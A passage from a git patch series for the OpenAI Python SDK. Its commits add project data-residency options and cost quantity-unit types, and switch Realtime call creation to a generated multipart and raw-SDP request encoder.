+ def events() -> Iterator[dict[str, Any]]:
+ for content, finish_reason in [("", None), (text[:-1], None), (text[-1:], "stop")]:
+ yield {
+ "id": "chatcmpl_test",
+ "object": "chat.completion.chunk",
+ "created": 0,
+ "model": "gpt-4o-mini",
+ "choices": [
+ {"index": 0, "finish_reason": finish_reason, "delta": {"role": "assistant", "content": content}}
+ ],
+ }
+
+ with sync_client(
+ lambda _: httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ content=sse_body(events()),
+ )
+ ) as client:
+ with client.chat.completions.stream(
+ model="gpt-4o-mini",
+ messages=[{"role": "user", "content": "Hello"}],
+ response_format=TextResult,
+ ) as stream:
+ completion = stream.get_final_completion()
+ message = completion.choices[0].message
+ assert_intact(message.content, text)
+ assert message.parsed is not None
+ assert_intact(message.parsed.value, value)
+
+
+async def test_large_payload_contract() -> None:
+ # One test prevents pytest-xdist from running high-memory cases together.
+ check_blocking_json()
+ await check_structured_json()
+ await check_responses_stream()
+ check_chat_stream()
From bc4f8efdbc1f8fa6b78935e205780e259d83576d Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 25 Aug 2026 16:05:26 +0000
Subject: [PATCH 071/341] feat(api): add project residency configuration and
cost quantity units (#3726)
## Summary
Adds optional `residency` support to synchronous and asynchronous Admin
Organization project creation, with typed residency configuration
values, and exposes `residency` on returned Project models. Marks
`geography` as deprecated for project creation while retaining it for
backward compatibility. Adds optional `quantity_unit` fields to
organization usage cost result models across supported usage response
types.
Project responses and project-creation inputs now reuse a shared
residency model. Usage cost responses reuse a shared quantity-unit
model, with unknown unit values and optional/null fields preserved.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 ++---
api.md | 3 +-
api_reference/openapi.transformed.yml | 56 +++++++++++++++++--
.../admin/organization/projects/projects.py | 32 ++++++++++-
.../types/admin/organization/__init__.py | 2 +
.../admin/organization/cost_quantity_unit.py | 20 +++++++
.../types/admin/organization/project.py | 4 ++
.../organization/project_create_params.py | 12 ++++
.../admin/organization/project_residency.py | 20 +++++++
.../organization/project_update_params.py | 5 +-
.../usage_audio_speeches_response.py | 7 +++
.../usage_audio_transcriptions_response.py | 7 +++
...sage_code_interpreter_sessions_response.py | 7 +++
.../usage_completions_response.py | 7 +++
.../organization/usage_costs_response.py | 7 +++
.../organization/usage_embeddings_response.py | 7 +++
.../usage_file_search_calls_response.py | 7 +++
.../organization/usage_images_response.py | 7 +++
.../usage_moderations_response.py | 7 +++
.../usage_vector_stores_response.py | 7 +++
.../usage_web_search_calls_response.py | 7 +++
.../admin/organization/test_projects.py | 2 +
22 files changed, 230 insertions(+), 17 deletions(-)
create mode 100644 src/openai/types/admin/organization/cost_quantity_unit.py
create mode 100644 src/openai/types/admin/organization/project_residency.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index f04d6d8ac0..1e91cdbfc1 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 64f4392f-6816-485e-8210-b9a1c2ec7def
-openapi_spec_hash: 92700e1a33a4f6174a01b46648c8186a
-openapi_transformed_spec_hash: e37bbe0f04caa6093f1cb5d65d23ad03
-config_hash: beab4f058e80bab30085bb6c8467b65f
-codegen_sha: 23e8f705c06ddc2c2f80e8444b294793771e4f47
-codegen_hash: 717da37491ba2e308f370daeb4883c974f792a4385c5cd411d46904796787997
-public_codegen_sha: ffde304f4cfdd6d0ea6cd5ee855cc48efc89fc5d
+generation_id: 743ac88c-c04a-4f93-b104-39ff2b29f860
+openapi_spec_hash: b2c62b342b04685226037c980f2b5a7a
+openapi_transformed_spec_hash: ba44bf31326f01a1d886b7510dd9da8a
+config_hash: 1e11a5becf7bc1c2e9e07b8654872dc4
+codegen_sha: a0e85ddf73948ad851577815ee7b872fac9ee98f
+codegen_hash: c19628547a78939134912b93344668c37d65464bc08e3b3b9d22ef9a05fb264e
+public_codegen_sha: b8a8c67c1d0d8f12ada756a7d7f90bfac10330b0
diff --git a/api.md b/api.md
index cf6ae87931..d9efdbcc79 100644
--- a/api.md
+++ b/api.md
@@ -1010,6 +1010,7 @@ Types:
```python
from openai.types.admin.organization import (
+ CostQuantityUnit,
UsageAudioSpeechesResponse,
UsageAudioTranscriptionsResponse,
UsageCodeInterpreterSessionsResponse,
@@ -1232,7 +1233,7 @@ Methods:
Types:
```python
-from openai.types.admin.organization import Project
+from openai.types.admin.organization import Project, ProjectResidency
```
Methods:
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index c12baba61f..164fe8c284 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -9552,7 +9552,8 @@ paths:
"line_item": null,
"project_id": null,
"api_key_id": null,
- "quantity": null
+ "quantity": null,
+ "quantity_unit": null
}
]
}
@@ -31011,6 +31012,21 @@ components:
- type: number
description: When `group_by=line_item`, this field provides the quantity of the grouped costs result.
- type: 'null'
+ quantity_unit:
+ description: The unit of the `quantity` value. If no single supported unit applies to the result, this field is `null`.
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - tokens
+ - 1000_tokens
+ - duration_seconds
+ - duration_minutes
+ - duration_hours
+ - gibibyte_hours
+ - images
+ - characters
+ - type: 'null'
required:
- object
x-oaiMeta:
@@ -31022,9 +31038,10 @@ components:
"value": 0.06,
"currency": "usd"
},
- "line_item": "Image models",
+ "line_item": "input_tokens",
"project_id": "proj_abc",
- "quantity": 10000
+ "quantity": 10000,
+ "quantity_unit": "tokens"
}
CreateAssistantRequest:
type: object
@@ -42278,6 +42295,9 @@ components:
- type: string
- type: 'null'
description: The external key associated with the project.
+ residency:
+ $ref: '#/components/schemas/PublicProjectResidency'
+ description: The residency configuration for the project.
required:
- id
- object
@@ -42473,7 +42493,15 @@ components:
anyOf:
- type: string
- type: 'null'
- description: Create the project with the specified data residency region. Your organization must have access to Data residency functionality in order to use. See [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
+ deprecated: true
+ description: |-
+ Create the project with the specified data residency region. Your organization must have access to Data residency functionality in order to use. See [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
+ Deprecated: use `residency` instead. Do not provide both `geography` and `residency`.
+ residency:
+ anyOf:
+ - $ref: '#/components/schemas/PublicProjectResidency'
+ - type: 'null'
+ description: Create the project with the specified residency configuration. Your organization must have access to the requested residency configuration in order to use it. See [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
external_key_id:
anyOf:
- type: string
@@ -43170,7 +43198,10 @@ components:
anyOf:
- type: string
- type: 'null'
- description: Geography for the project.
+ deprecated: true
+ description: |-
+ Geography for the project.
+ Deprecated: use `residency` when creating a project to configure data residency. This field is retained for backward compatibility.
ProjectUser:
type: object
description: Represents an individual user in a project.
@@ -64729,6 +64760,21 @@ components:
- input_tokens_details
title: Image generation usage
description: For `gpt-image-1` only, the token usage information for the image generation.
+ PublicProjectResidency:
+ type: string
+ enum:
+ - GLOBAL
+ - US_STORAGE_PROCESSING
+ - EU_STORAGE_PROCESSING
+ - JP_STORAGE
+ - KR_STORAGE
+ - CA_STORAGE
+ - SG_STORAGE
+ - IN_STORAGE
+ - AU_STORAGE
+ - GB_STORAGE
+ - AE_STORAGE
+ - AE_STORAGE_PROCESSING
SpecificProgrammaticToolCallingParam:
properties:
type:
diff --git a/src/openai/resources/admin/organization/projects/projects.py b/src/openai/resources/admin/organization/projects/projects.py
index 7696f2e9cb..3e6ae223b5 100644
--- a/src/openai/resources/admin/organization/projects/projects.py
+++ b/src/openai/resources/admin/organization/projects/projects.py
@@ -102,7 +102,12 @@
HostedToolPermissionsWithStreamingResponse,
AsyncHostedToolPermissionsWithStreamingResponse,
)
-from .....types.admin.organization import project_list_params, project_create_params, project_update_params
+from .....types.admin.organization import (
+ ProjectResidency,
+ project_list_params,
+ project_create_params,
+ project_update_params,
+)
from .service_accounts.service_accounts import (
ServiceAccounts,
AsyncServiceAccounts,
@@ -112,6 +117,7 @@
AsyncServiceAccountsWithStreamingResponse,
)
from .....types.admin.organization.project import Project
+from .....types.admin.organization.project_residency import ProjectResidency
__all__ = ["Projects", "AsyncProjects"]
@@ -190,6 +196,7 @@ def create(
name: str,
external_key_id: Optional[str] | Omit = omit,
geography: Optional[str] | Omit = omit,
+ residency: Optional[ProjectResidency] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
extra_headers: Headers | None = None,
@@ -210,6 +217,13 @@ def create(
geography: Create the project with the specified data residency region. Your organization
must have access to Data residency functionality in order to use. See
[data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ to review the functionality and limitations of setting this field. Deprecated:
+ use `residency` instead. Do not provide both `geography` and `residency`.
+
+ residency: Create the project with the specified residency configuration. Your organization
+ must have access to the requested residency configuration in order to use it.
+ See
+ [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field.
extra_headers: Send extra headers
@@ -227,6 +241,7 @@ def create(
"name": name,
"external_key_id": external_key_id,
"geography": geography,
+ "residency": residency,
},
project_create_params.ProjectCreateParams,
),
@@ -297,7 +312,8 @@ def update(
Args:
external_key_id: External key ID to associate with the project.
- geography: Geography for the project.
+ geography: Geography for the project. Deprecated: use `residency` when creating a project
+ to configure data residency. This field is retained for backward compatibility.
name: The updated name of the project, this name appears in reports.
@@ -503,6 +519,7 @@ async def create(
name: str,
external_key_id: Optional[str] | Omit = omit,
geography: Optional[str] | Omit = omit,
+ residency: Optional[ProjectResidency] | Omit = omit,
# Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
# The extra values given here take precedence over values defined on the client or passed to this method.
extra_headers: Headers | None = None,
@@ -523,6 +540,13 @@ async def create(
geography: Create the project with the specified data residency region. Your organization
must have access to Data residency functionality in order to use. See
[data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ to review the functionality and limitations of setting this field. Deprecated:
+ use `residency` instead. Do not provide both `geography` and `residency`.
+
+ residency: Create the project with the specified residency configuration. Your organization
+ must have access to the requested residency configuration in order to use it.
+ See
+ [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field.
extra_headers: Send extra headers
@@ -540,6 +564,7 @@ async def create(
"name": name,
"external_key_id": external_key_id,
"geography": geography,
+ "residency": residency,
},
project_create_params.ProjectCreateParams,
),
@@ -610,7 +635,8 @@ async def update(
Args:
external_key_id: External key ID to associate with the project.
- geography: Geography for the project.
+ geography: Geography for the project. Deprecated: use `residency` when creating a project
+ to configure data residency. This field is retained for backward compatibility.
name: The updated name of the project, this name appears in reports.
diff --git a/src/openai/types/admin/organization/__init__.py b/src/openai/types/admin/organization/__init__.py
index 035dcc55cb..9dc7700603 100644
--- a/src/openai/types/admin/organization/__init__.py
+++ b/src/openai/types/admin/organization/__init__.py
@@ -12,6 +12,8 @@
from .user_list_params import UserListParams as UserListParams
from .group_list_params import GroupListParams as GroupListParams
from .organization_user import OrganizationUser as OrganizationUser
+from .project_residency import ProjectResidency as ProjectResidency
+from .cost_quantity_unit import CostQuantityUnit as CostQuantityUnit
from .invite_list_params import InviteListParams as InviteListParams
from .role_create_params import RoleCreateParams as RoleCreateParams
from .role_update_params import RoleUpdateParams as RoleUpdateParams
diff --git a/src/openai/types/admin/organization/cost_quantity_unit.py b/src/openai/types/admin/organization/cost_quantity_unit.py
new file mode 100644
index 0000000000..311c54212c
--- /dev/null
+++ b/src/openai/types/admin/organization/cost_quantity_unit.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Union
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["CostQuantityUnit"]
+
+CostQuantityUnit: TypeAlias = Union[
+ str,
+ Literal[
+ "tokens",
+ "1000_tokens",
+ "duration_seconds",
+ "duration_minutes",
+ "duration_hours",
+ "gibibyte_hours",
+ "images",
+ "characters",
+ ],
+]
diff --git a/src/openai/types/admin/organization/project.py b/src/openai/types/admin/organization/project.py
index 0cda800aad..a0f51168c9 100644
--- a/src/openai/types/admin/organization/project.py
+++ b/src/openai/types/admin/organization/project.py
@@ -4,6 +4,7 @@
from typing_extensions import Literal
from ...._models import BaseModel
+from .project_residency import ProjectResidency
__all__ = ["Project"]
@@ -29,5 +30,8 @@ class Project(BaseModel):
name: Optional[str] = None
"""The name of the project. This appears in reporting."""
+ residency: Optional[ProjectResidency] = None
+ """The residency configuration for the project."""
+
status: Optional[str] = None
"""`active` or `archived`"""
diff --git a/src/openai/types/admin/organization/project_create_params.py b/src/openai/types/admin/organization/project_create_params.py
index 9a750d86cc..a6adc120bc 100644
--- a/src/openai/types/admin/organization/project_create_params.py
+++ b/src/openai/types/admin/organization/project_create_params.py
@@ -5,6 +5,8 @@
from typing import Optional
from typing_extensions import Required, TypedDict
+from .project_residency import ProjectResidency
+
__all__ = ["ProjectCreateParams"]
@@ -21,5 +23,15 @@ class ProjectCreateParams(TypedDict, total=False):
Your organization must have access to Data residency functionality in order to
use. See
[data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
+ to review the functionality and limitations of setting this field. Deprecated:
+ use `residency` instead. Do not provide both `geography` and `residency`.
+ """
+
+ residency: Optional[ProjectResidency]
+ """Create the project with the specified residency configuration.
+
+ Your organization must have access to the requested residency configuration in
+ order to use it. See
+ [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls)
to review the functionality and limitations of setting this field.
"""
diff --git a/src/openai/types/admin/organization/project_residency.py b/src/openai/types/admin/organization/project_residency.py
new file mode 100644
index 0000000000..93b506d2a9
--- /dev/null
+++ b/src/openai/types/admin/organization/project_residency.py
@@ -0,0 +1,20 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["ProjectResidency"]
+
+ProjectResidency: TypeAlias = Literal[
+ "GLOBAL",
+ "US_STORAGE_PROCESSING",
+ "EU_STORAGE_PROCESSING",
+ "JP_STORAGE",
+ "KR_STORAGE",
+ "CA_STORAGE",
+ "SG_STORAGE",
+ "IN_STORAGE",
+ "AU_STORAGE",
+ "GB_STORAGE",
+ "AE_STORAGE",
+ "AE_STORAGE_PROCESSING",
+]
diff --git a/src/openai/types/admin/organization/project_update_params.py b/src/openai/types/admin/organization/project_update_params.py
index fae8147acf..a16d25c1eb 100644
--- a/src/openai/types/admin/organization/project_update_params.py
+++ b/src/openai/types/admin/organization/project_update_params.py
@@ -13,7 +13,10 @@ class ProjectUpdateParams(TypedDict, total=False):
"""External key ID to associate with the project."""
geography: Optional[str]
- """Geography for the project."""
+ """
+ Geography for the project. Deprecated: use `residency` when creating a project
+ to configure data residency. This field is retained for backward compatibility.
+ """
name: Optional[str]
"""The updated name of the project, this name appears in reports."""
diff --git a/src/openai/types/admin/organization/usage_audio_speeches_response.py b/src/openai/types/admin/organization/usage_audio_speeches_response.py
index 215b94edd9..4ce555d3fb 100644
--- a/src/openai/types/admin/organization/usage_audio_speeches_response.py
+++ b/src/openai/types/admin/organization/usage_audio_speeches_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageAudioSpeechesResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_audio_transcriptions_response.py b/src/openai/types/admin/organization/usage_audio_transcriptions_response.py
index 77c9b50647..65d0ef1b0b 100644
--- a/src/openai/types/admin/organization/usage_audio_transcriptions_response.py
+++ b/src/openai/types/admin/organization/usage_audio_transcriptions_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageAudioTranscriptionsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py b/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py
index 34fc489886..6dd529ac3c 100644
--- a/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py
+++ b/src/openai/types/admin/organization/usage_code_interpreter_sessions_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageCodeInterpreterSessionsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_completions_response.py b/src/openai/types/admin/organization/usage_completions_response.py
index 40f23e9d3f..d7c116e29b 100644
--- a/src/openai/types/admin/organization/usage_completions_response.py
+++ b/src/openai/types/admin/organization/usage_completions_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageCompletionsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_costs_response.py b/src/openai/types/admin/organization/usage_costs_response.py
index aca7d4d045..c77c34d22e 100644
--- a/src/openai/types/admin/organization/usage_costs_response.py
+++ b/src/openai/types/admin/organization/usage_costs_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageCostsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_embeddings_response.py b/src/openai/types/admin/organization/usage_embeddings_response.py
index 3e555793d9..fe70897c0e 100644
--- a/src/openai/types/admin/organization/usage_embeddings_response.py
+++ b/src/openai/types/admin/organization/usage_embeddings_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageEmbeddingsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_file_search_calls_response.py b/src/openai/types/admin/organization/usage_file_search_calls_response.py
index 12d938a7a1..e1d8d9164f 100644
--- a/src/openai/types/admin/organization/usage_file_search_calls_response.py
+++ b/src/openai/types/admin/organization/usage_file_search_calls_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageFileSearchCallsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_images_response.py b/src/openai/types/admin/organization/usage_images_response.py
index adc428963d..32f88b8629 100644
--- a/src/openai/types/admin/organization/usage_images_response.py
+++ b/src/openai/types/admin/organization/usage_images_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageImagesResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_moderations_response.py b/src/openai/types/admin/organization/usage_moderations_response.py
index 2b3c21fef7..8c71218e5c 100644
--- a/src/openai/types/admin/organization/usage_moderations_response.py
+++ b/src/openai/types/admin/organization/usage_moderations_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageModerationsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_vector_stores_response.py b/src/openai/types/admin/organization/usage_vector_stores_response.py
index 18ae9425da..148050378a 100644
--- a/src/openai/types/admin/organization/usage_vector_stores_response.py
+++ b/src/openai/types/admin/organization/usage_vector_stores_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageVectorStoresResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/src/openai/types/admin/organization/usage_web_search_calls_response.py b/src/openai/types/admin/organization/usage_web_search_calls_response.py
index bb88718080..f38fa0b532 100644
--- a/src/openai/types/admin/organization/usage_web_search_calls_response.py
+++ b/src/openai/types/admin/organization/usage_web_search_calls_response.py
@@ -5,6 +5,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
+from .cost_quantity_unit import CostQuantityUnit
__all__ = [
"UsageWebSearchCallsResponse",
@@ -470,6 +471,12 @@ class DataResultOrganizationCostsResult(BaseModel):
result.
"""
+ quantity_unit: Optional[CostQuantityUnit] = None
+ """The unit of the `quantity` value.
+
+ If no single supported unit applies to the result, this field is `null`.
+ """
+
DataResult: TypeAlias = Annotated[
Union[
diff --git a/tests/api_resources/admin/organization/test_projects.py b/tests/api_resources/admin/organization/test_projects.py
index 4e13ab7cfa..17f40e5e47 100644
--- a/tests/api_resources/admin/organization/test_projects.py
+++ b/tests/api_resources/admin/organization/test_projects.py
@@ -31,6 +31,7 @@ def test_method_create_with_all_params(self, client: OpenAI) -> None:
name="name",
external_key_id="external_key_id",
geography="geography",
+ residency="GLOBAL",
)
assert_matches_type(Project, project, path=["response"])
@@ -235,6 +236,7 @@ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) ->
name="name",
external_key_id="external_key_id",
geography="geography",
+ residency="GLOBAL",
)
assert_matches_type(Project, project, path=["response"])
From 555ac487f450f24928d859478ea2f41b58906206 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 25 Aug 2026 20:32:14 +0000
Subject: [PATCH 072/341] fix(api): encode Realtime call offers and session
configuration (#3736)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Use generated request encoding for Realtime WebRTC setup so future
schema changes no longer require a parallel handwritten implementation.
Applications can send an SDP offer and optional session configuration
through the existing synchronous and asynchronous `calls.create`
methods.
Requests now preserve the API’s declared SDP and JSON content types, so
offers and session configuration reach the API in the expected format.
SDP-only requests use the supported raw-SDP form; the method signatures
and SDP-response interface stay the same.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +--
src/openai/_multipart.py | 48 ++++++++++++
src/openai/lib/_realtime.py | 91 +---------------------
src/openai/resources/realtime/calls.py | 77 ++++++++++++++-----
tests/lib/test_realtime_calls.py | 101 +++++++++++++++++++++++++
tests/test_multipart_encoding.py | 69 +++++++++++++++++
6 files changed, 283 insertions(+), 113 deletions(-)
create mode 100644 src/openai/_multipart.py
create mode 100644 tests/lib/test_realtime_calls.py
create mode 100644 tests/test_multipart_encoding.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 1e91cdbfc1..9320ad8d4a 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 743ac88c-c04a-4f93-b104-39ff2b29f860
+generation_id: 894a0870-fe44-47b8-ae0e-d852e0a642a9
openapi_spec_hash: b2c62b342b04685226037c980f2b5a7a
openapi_transformed_spec_hash: ba44bf31326f01a1d886b7510dd9da8a
-config_hash: 1e11a5becf7bc1c2e9e07b8654872dc4
-codegen_sha: a0e85ddf73948ad851577815ee7b872fac9ee98f
-codegen_hash: c19628547a78939134912b93344668c37d65464bc08e3b3b9d22ef9a05fb264e
-public_codegen_sha: b8a8c67c1d0d8f12ada756a7d7f90bfac10330b0
+config_hash: 4fbbbcf377bcc17646cccb9fcfbac14a
+codegen_sha: 29ea2f9fd4247a24ce57aec59ee2b9240745fcdf
+codegen_hash: dcd47732b7809ce7566ec5162d689b5320158e41aebcce2b31eaa9cd97fc4da2
+public_codegen_sha: eb1e776d29014be85225038a072a679387bda999
diff --git a/src/openai/_multipart.py b/src/openai/_multipart.py
new file mode 100644
index 0000000000..a1257b1f41
--- /dev/null
+++ b/src/openai/_multipart.py
@@ -0,0 +1,48 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Mapping, cast
+
+from ._types import Body, Omit, NotGiven, FileTypes, RequestFiles
+from ._utils._json import openapi_dumps
+
+
+def encode_multipart(
+ body: object,
+ extra_body: Body | None,
+ encodings: Mapping[str, tuple[str, bool]],
+ raw_body_field: str | None = None,
+ existing_files: RequestFiles | None = None,
+) -> tuple[dict[str, object] | None, RequestFiles | None, bytes | None, str]:
+ """Prepare explicitly encoded form fields without flattening their JSON contents."""
+ if not isinstance(body, Mapping):
+ raise TypeError("Multipart request body must be a mapping")
+ if extra_body is not None and not isinstance(extra_body, Mapping):
+ raise TypeError("Multipart extra_body must be a mapping")
+ original = cast(Mapping[str, object], body)
+ overrides = cast(Mapping[str, object], extra_body or {})
+ merged = {key: value for key, value in {**original, **overrides}.items() if not isinstance(value, (Omit, NotGiven))}
+ # A raw request alternative is safe only when there is no other payload to lose.
+ # Explicit null remains a JSON part; only an omitted field selects the raw body.
+ if not existing_files and raw_body_field is not None and set(merged) == {raw_body_field}:
+ value = merged[raw_body_field]
+ if not isinstance(value, str):
+ raise TypeError("Raw multipart alternative must be a string")
+ return None, None, value.encode("utf-8"), encodings[raw_body_field][0]
+
+ files: list[tuple[str, FileTypes]] = list(
+ existing_files.items() if isinstance(existing_files, Mapping) else (existing_files or [])
+ )
+ for name, (content_type, as_json) in encodings.items():
+ if name not in merged:
+ continue
+ value = merged.pop(name)
+ if as_json:
+ data = openapi_dumps(value)
+ else:
+ if not isinstance(value, str):
+ raise TypeError(f"Multipart field {name!r} must be a string")
+ data = value.encode("utf-8")
+ files.append((name, (None, data, content_type)))
+ return merged or None, files, None, "multipart/form-data"
diff --git a/src/openai/lib/_realtime.py b/src/openai/lib/_realtime.py
index e894d8e451..d106b987bc 100644
--- a/src/openai/lib/_realtime.py
+++ b/src/openai/lib/_realtime.py
@@ -1,92 +1,7 @@
from __future__ import annotations
-import json
-from typing_extensions import override
-
-import httpx2
-
-from openai import _legacy_response
-from openai._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
-from openai._utils import maybe_transform, async_maybe_transform
-from openai._base_client import make_request_options
-from openai.resources.realtime.calls import Calls, AsyncCalls
-from openai.types.realtime.realtime_session_create_request_param import RealtimeSessionCreateRequestParam
+# Compatibility aliases for the former handwritten call-creation implementation.
+# Multipart and raw SDP serialization now come from the generated resources.
+from openai.resources.realtime.calls import Calls as _Calls, AsyncCalls as _AsyncCalls
__all__ = ["_Calls", "_AsyncCalls"]
-
-
-# Custom code to override the `create` method to have correct behavior with
-# application/sdp and multipart/form-data.
-# Ideally we can cutover to the generated code this overrides eventually and remove this.
-class _Calls(Calls):
- @override
- def create(
- self,
- *,
- sdp: str,
- session: RealtimeSessionCreateRequestParam | Omit = omit,
- extra_headers: Headers | None = None,
- extra_query: Query | None = None,
- extra_body: Body | None = None,
- timeout: float | httpx2.Timeout | None | NotGiven = not_given,
- ) -> _legacy_response.HttpxBinaryResponseContent:
- if session is omit:
- extra_headers = {"Accept": "application/sdp", "Content-Type": "application/sdp", **(extra_headers or {})}
- return self._post(
- "/realtime/calls",
- content=sdp.encode("utf-8"),
- options=make_request_options(extra_headers=extra_headers, extra_query=extra_query, timeout=timeout),
- cast_to=_legacy_response.HttpxBinaryResponseContent,
- )
-
- extra_headers = {"Accept": "application/sdp", "Content-Type": "multipart/form-data", **(extra_headers or {})}
